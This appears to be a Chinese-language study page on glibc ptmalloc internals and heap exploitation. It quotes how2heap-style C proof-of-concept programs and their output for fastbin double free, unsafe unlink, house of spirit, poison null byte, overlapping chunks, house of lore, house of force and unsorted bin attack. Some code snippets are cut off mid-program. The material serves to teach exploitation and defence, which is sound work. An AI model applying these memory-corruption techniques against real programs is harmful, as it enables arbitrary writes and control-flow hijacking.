首先尝试在 fast bins 中取一个所需大小的 chunk 分配给用户。如果可以找到,则分配结束。否则转到下一步。
判断所需大小是否处在 small bins 中,即判断 chunk_size < 512B 是否成立。如果chunk 大小处在 small bins 中,则转下一步,否则转到第 6 步。
根据所需分配的 chunk 的大小,找到具体所在的某个 small bin,从该 bin 的尾部摘取一个恰好满足大小的 chunk。若成功,则分配结束,否则,转到下一步。
到了这一步,说明需要分配的是一块大的内存,或者 small bins 中找不到合适的chunk。于是,ptmalloc 首先会遍历 fast bins 中的 chunk,将相邻的 chunk 进行合并,并链接到 unsorted bin 中,然后遍历 unsorted bin 中的 chunk,如果 unsorted bin 只有一个 chunk,并且这个 chunk 在上次分配时被使用过,并且所需分配的 chunk 大小属于 small bins,并且 chunk 的大小大于等于需要分配的大小,这种情况下就直接将该 chunk 进行切割,分配结束,否则将根据 chunk 的空间大小将其放入 smallbins 或是 large bins 中,遍历完成后,转入下一步。
到了这一步,说明需要分配的是一块大的内存,或者 small bins 和 unsorted bin 中都找不到合适的 chunk,并且 fast bins 和 unsorted bin 中所有的 chunk 都清除干净了。从 large bins 中按照“smallest-first,best-fit”原则,找一个合适的 chunk,从中划分一块所需大小的 chunk,并将剩下的部分链接回到 bins 中。若操作成功,则分配结束,否则转到下一步。
如果搜索 fast bins 和 bins 都没有找到合适的 chunk,那么就需要操作 top chunk 来进行分配了。判断 top chunk 大小是否满足所需 chunk 的大小,如果是,则从 topchunk 中分出一块来。否则转到下一步。
到了这一步,说明 top chunk 也不能满足分配要求,所以,于是就有了两个选择: 如果是主分配区,调用 sbrk(),增加 top chunk 大小;如果是非主分配区,调用 mmap来分配一个新的 sub-heap,增加 top chunk 大小;或者使用 mmap()来直接分配。在这里,需要依靠 chunk 的大小来决定到底使用哪种方法。判断所需分配的 chunk大小是否大于等于 mmap 分配阈值,如果是的话,则转下一步,调用 mmap 分配,否则跳到第 12 步,增加 top chunk 的大小。
intmain() { fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n"); fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n"); fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n"); char* a = malloc(512); char* b = malloc(256); char* c;
fprintf(stderr, "1st malloc(512): %p\n", a); fprintf(stderr, "2nd malloc(256): %p\n", b); fprintf(stderr, "we could continue mallocing here...\n"); fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n"); strcpy(a, "this is A!"); fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n"); free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 500 bytes\n"); c = malloc(500); fprintf(stderr, "3rd malloc(500): %p\n", c); fprintf(stderr, "And put a different string here, \"this is C!\"\n"); strcpy(c, "this is C!"); fprintf(stderr, "3rd allocation %p points to %s\n", c, c); fprintf(stderr, "first allocation %p points to %s\n", a, a); fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation."); }
This file demonstrates a simple double-free attack with fastbins. Allocating 3 buffers. 1st malloc(8): 0x207e010 2nd malloc(8): 0x207e030 3rd malloc(8): 0x207e050 Freeing the first one... If we free 0x207e010 again, things will crash because 0x207e010 is at the top of the free list. So, instead, we'll free 0x207e030. Now, we can free 0x207e010 again, since it's not the head of the free list. Now the free list has [ 0x207e010, 0x207e030, 0x207e010 ]. If we malloc 3 times, we'll get 0x207e010 twice! 1st malloc(8): 0x207e010 2nd malloc(8): 0x207e030 3rd malloc(8): 0x207e010
This file extends on fastbin_dup.c by tricking malloc into returning a pointer to a controlled location (in this case, the stack). The address we want malloc() to return is 0x7ffcebcdf618. Allocating 3 buffers. 1st malloc(8): 0xafe010 2nd malloc(8): 0xafe030 3rd malloc(8): 0xafe050 Freeing the first one... If we free 0xafe010 again, things will crash because 0xafe010 is at the top of the free list. So, instead, we'll free 0xafe030. Now, we can free 0xafe010 again, since it's not the head of the free list. Now the free list has [ 0xafe010, 0xafe030, 0xafe010 ]. We'll now carry out our attack by modifying data at 0xafe010. 1st malloc(8): 0xafe010 2nd malloc(8): 0xafe030 Now the free list has [ 0xafe010 ]. Now, we have access to 0xafe010 while it remains at the head of the free list. so now we are writing a fake free size (in this case, 0x20) to the stack, so that malloc will think there is a free chunk there and agree to return a pointer to it. Now, we overwrite the first 8 bytes of the data at 0xafe010 to point right before the 0x20. 3rd malloc(8): 0xafe010, putting the stack address on the free list 4th malloc(8): 0x7ffcebcdf618
void* p3 = malloc(0x400); fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3); fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n"); free(p1); fprintf(stderr, "Trigger the double free vulnerability!\n"); fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n"); fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40)); }
结果如下:
1 2 3 4 5 6 7
Allocated two fastbins: p1=0xee0010 p2=0xee0060 Now free p1! Allocated large bin to trigger malloc_consolidate(): p3=0xee00b0 In malloc_consolidate(), p1 is moved to the unsorted bin. Trigger the double free vulnerability! We can pass the check in malloc() since p1 is not fast top. Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0xee0010 0xee0010
/* If this is a large request, consolidate fastbins before continuing. While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins. Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation is not invoked all that often in most programs. And the programs that it is called frequently in otherwise tend to fragment. */
当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate()函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。这个时候,p1就被放到small bins中,就可以再次释放 p1
fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); fprintf(stderr, "Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; fprintf(stderr, "New Value: %s\n",victim_string); }
Welcome to unsafe unlink 2.0! Tested in Ubuntu 14.04/16.04 64bit. This technique can be used when you have a pointer at a known location to a region you can call unlink on. The most common scenario is a vulnerable buffer that can be overflown and has a global pointer. The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.
The global chunk0_ptr is at 0x602070, pointing to 0x1d0b010 The victim chunk we are going to corrupt is at 0x1d0b0a0
We create a fake chunk inside chunk0. We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P. We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P. With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False Fake chunk fd: 0x602058 Fake chunk bk: 0x602060
We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata. We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk. It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x80 We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.
Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr. You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344
At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location. chunk0_ptr is now pointing where we want, we use it to overwrite our victim string. Original value: Hello!~ New Value: BBBBAAAA
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if allocated | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk |MAIN_ARENA|IS MMAP|PREV INUSE| chunk0_ptr-> -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . . | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes | | |P| chunk1_ptr->-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
int main() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); }
结果:
1 2 3 4 5 6 7 8 9 10 11 12
This file demonstrates the house of spirit attack. Calling malloc() once so that it sets up its memory. We will now overwrite a pointer to point to a fake 'fastbin' region. This region (memory of length: 80) contains two chunks. The first starts at 0x7fffb45ee0a8 and the second at 0x7fffb45ee0d8. This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems. ... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size. Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7fffb45ee0a8. ... note that the memory address of the *region* associated with this chunk must be 16-byte aligned. Freeing the overwritten pointer. Now the next malloc will return the region of our fake chunk at 0x7fffb45ee0a8, which will be 0x7fffb45ee0b0! malloc(0x30): 0x7fffb45ee0b0
int main() { fprintf(stderr, "Welcome to poison null byte 2.0!\n"); fprintf(stderr, "Tested in Ubuntu 14.04 64bit.\n"); fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n"); a = (uint8_t*) malloc(0x100); fprintf(stderr, "a: %p\n", a); int real_a_size = malloc_usable_size(a); fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200);
fprintf(stderr, "b: %p\n", b);
c = (uint8_t*) malloc(0x100); fprintf(stderr, "c: %p\n", c);
barrier = malloc(0x100); fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n" "The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8); *(size_t*)(b + 0x1f0) = 0x200; // this technique works by overwriting the size metadata of a free chunk free(b); fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n"); fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);
b1 = malloc(0x100);
fprintf(stderr, "b1: %p\n",b1); fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr); fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n"); // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1); free(c); fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n"); d = malloc(0x300); fprintf(stderr, "d: %p\n",d); fprintf(stderr, "Now 'd' and 'b2' overlap.\n"); memset(d,'D',0x300);
fprintf(stderr, "New b2 content:\n%s\n",b2);
fprintf(stderr, "Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf " "for the clear explanation of this technique.\n"); }
Welcome to poison null byte 2.0! Tested in Ubuntu 14.04 64bit. This technique can be used when you have an off-by-one into a malloc'ed region with a null byte. We allocate 0x100 bytes for 'a'. a: 0x603010 Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108 b: 0x603120 c: 0x603330 We allocate a barrier at 0x603440, so that c is not consolidated with the top-chunk when freed. The barrier is not strictly necessary, but makes things less confusing b.size: 0x211 b.size is: (0x200 + 0x10) | prev_in_use We overflow 'a' with a single null byte into the metadata of 'b' b.size: 0x200 c.prev_size is 0x210 b1: 0x603120 Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0x210 Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0 We malloc 'b2', our 'victim' chunk. b2: 0x603230 Current b2 content: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2'). Finally, we allocate 'd', overlapping 'b2'. d: 0x603120 Now 'd' and 'b2' overlap. New b2 content: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf for the clear explanation of this technique.
Let's start to allocate 3 chunks on the heap The 3 chunks have been allocated here: p1=0x2586010 p2=0x2586110 p3=0x2586210
Now let's free the chunk p2 The chunk p2 is now in the unsorted bin ready to serve possible new malloc() of its size Now let's simulate an overflow that can overwrite the size of the chunk freed p2. For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap. To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk. We are going to set the size of chunk p2 to to 385, which gives us a region size of 376
Now let's allocate another chunk with a size equal to the data size of the chunk p2 injected size This malloc will be served from the previously freed chunk that is parked in the unsorted bin which size has been modified by us
p4 has been allocated at 0x2586110 and ends at 0x2586288 p3 starts at 0x2586210 and ends at 0x2586288 p4 should overlap with p3, in this case p4 includes all p3.
Now everything copied inside chunk p4 can overwrites data on chunk p3, and data written to chunk p3 can overwrite data stored in the p4 chunk.
Let's run through an example. Right now, we have: p4 = xř p3 = 33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333�
If we memset(p4, '4', 376), we have: p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444� p3 = 44444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�
And if we then memset(p3, '3', 80), we have: p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444433333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444� p3 = 33333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444�
int main(){ intptr_t *p1,*p2,*p3,*p4,*p5,*p6; unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; int prev_in_use = 0x1;
This is a simple chunks overlapping problem This is also referenced as Nonadjacent Free Chunk Consolidation Attack
Let's start to allocate 5 chunks on the heap:
chunk p1 from 0x21c3010 to 0x21c33f8 chunk p2 from 0x21c3400 to 0x21c37e8 chunk p3 from 0x21c37f0 to 0x21c3bd8 chunk p4 from 0x21c3be0 to 0x21c3fc8 chunk p5 from 0x21c3fd0 to 0x21c43b8
Let's free the chunk p4. In this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4
Let's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2 with the size of chunk_p2 + size of chunk_p3
Now during the free() operation on p2, the allocator is fooled to think that the nextchunk is p4 ( since p2 + size_p2 now point to p4 )
This operation will basically create a big free chunk that wrongly includes p3
Now let's allocate a new chunk with a size that can be satisfied by the previously freed chunk
Our malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and we can overwrite data in p3 by writing on chunk p6
chunk p6 from 0x21c3400 to 0x21c3bd8 chunk p3 from 0x21c37f0 to 0x21c3bd8
fprintf(stderr, "Create a fake chunk on the stack\n"); fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" "in second to the last malloc, which putting stack address on smallbin list\n"); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " "chunk on stack"); stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1; fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" "the small one during the free()\n"); void *p5 = malloc(1000); fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
void *p2 = malloc(1200);
//------------VULNERABILITY----------- victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); char *p4 = malloc(100); fprintf(stderr, "p4 = malloc(100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary }
Welcome to the House of Lore This is a revisited version that bypass also the hardening check introduced by glibc malloc This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23
Allocating the victim chunk Allocated the first small chunk on the heap at 0xe4e010 stack_buffer_1 at 0x7fff62eb48d0 stack_buffer_2 at 0x7fff62eb48b0 Create a fake chunk on the stack Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corruptedin second to the last malloc, which putting stack address on smallbin list Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake chunk on stackAllocating another large chunk in order to avoid consolidating the top chunk withthe small one during the free() Allocated the large chunk on the heap at 0xe4e080 Freeing the chunk 0xe4e010, it will be inserted in the unsorted bin
In the unsorted bin the victim's fwd and bk pointers are nil victim->fwd: (nil) victim->bk: (nil)
Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin This means that the chunk 0xe4e010 will be inserted in front of the SmallBin The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to 0xe4e470 The victim chunk has been sorted and its fwd and bk pointers updated victim->fwd: 0x7fbe5a917bd8 victim->bk: 0x7fbe5a917bd8
Now emulating a vulnerability that can overwrite the victim->bk pointer Now allocating a chunk with size equal to the first one freed This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk p4 = malloc(100)
The fwd pointer of stack_buffer_2 has changed after the last malloc to 0x7fbe5a917bd8
p4 is 0x7fff62eb48e0 and should be on the stack! Nice jump d00d
一种通过改写 top chunk 的 size 字段来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[]) { fprintf(stderr, "\nWelcome to the House of Force\n\n"); fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " "and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); intptr_t *p1 = malloc(256); fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - sizeof(long)*2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); int real_size = malloc_usable_size(p1); fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); //------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" "overflow) and will then be able to allocate a chunk right over the desired region.\n");
/* * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * new_top = old_top + nb * nb = new_top - old_top * req + 2sizeof(long) = new_top - old_top * req = new_top - old_top - 2sizeof(long) * req = dest - 2sizeof(long) - old_top - 2sizeof(long) * req = dest - old_top - 4*sizeof(long) */ unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100); fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var); fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "... new string: %s\n", bss_var);
// some further discussion: //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); }
The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value. The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.
In the end, we will use this to overwrite a variable at 0x602060. Its current value is: This is a string that we want to overwrite.
Let's allocate the first chunk, taking space from the wilderness. The chunk of 256 bytes has been allocated at 0xbd9f90.
Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness. Real size (aligned and all that jazz) of our allocated chunk is 280.
Now let's emulate a vulnerability that can overwrite the header of the Top Chunk
The top chunk starts at 0xbda110
Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap. Old size of top chunk 0x20ef1 New size of top chunk 0xffffffffffffffff
The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap. Next, we will allocate a chunk that will get us right up against the desired region (with an integer overflow) and will then be able to allocate a chunk right over the desired region.
The value we want to write to at 0x602060, and the top chunk is at 0xbda110, so accounting for the header size, we will malloc 0xffffffffffa27f30 bytes. As expected, the new pointer is at the same place as the old top chunk: 0xbda110
Now, the next chunk we overwrite will point at our target buffer. malloc(100) => 0x602060! Now, we can finally overwrite that value: ... old string: This is a string that we want to overwrite. ... doing strcpy overwrite with "YEAH!!!"... ... new string: YEAH!!!
找到一个需要覆盖的地址
1
char bss_var[] = "This is a string that we want to overwrite.";
int main(){ fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var=0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
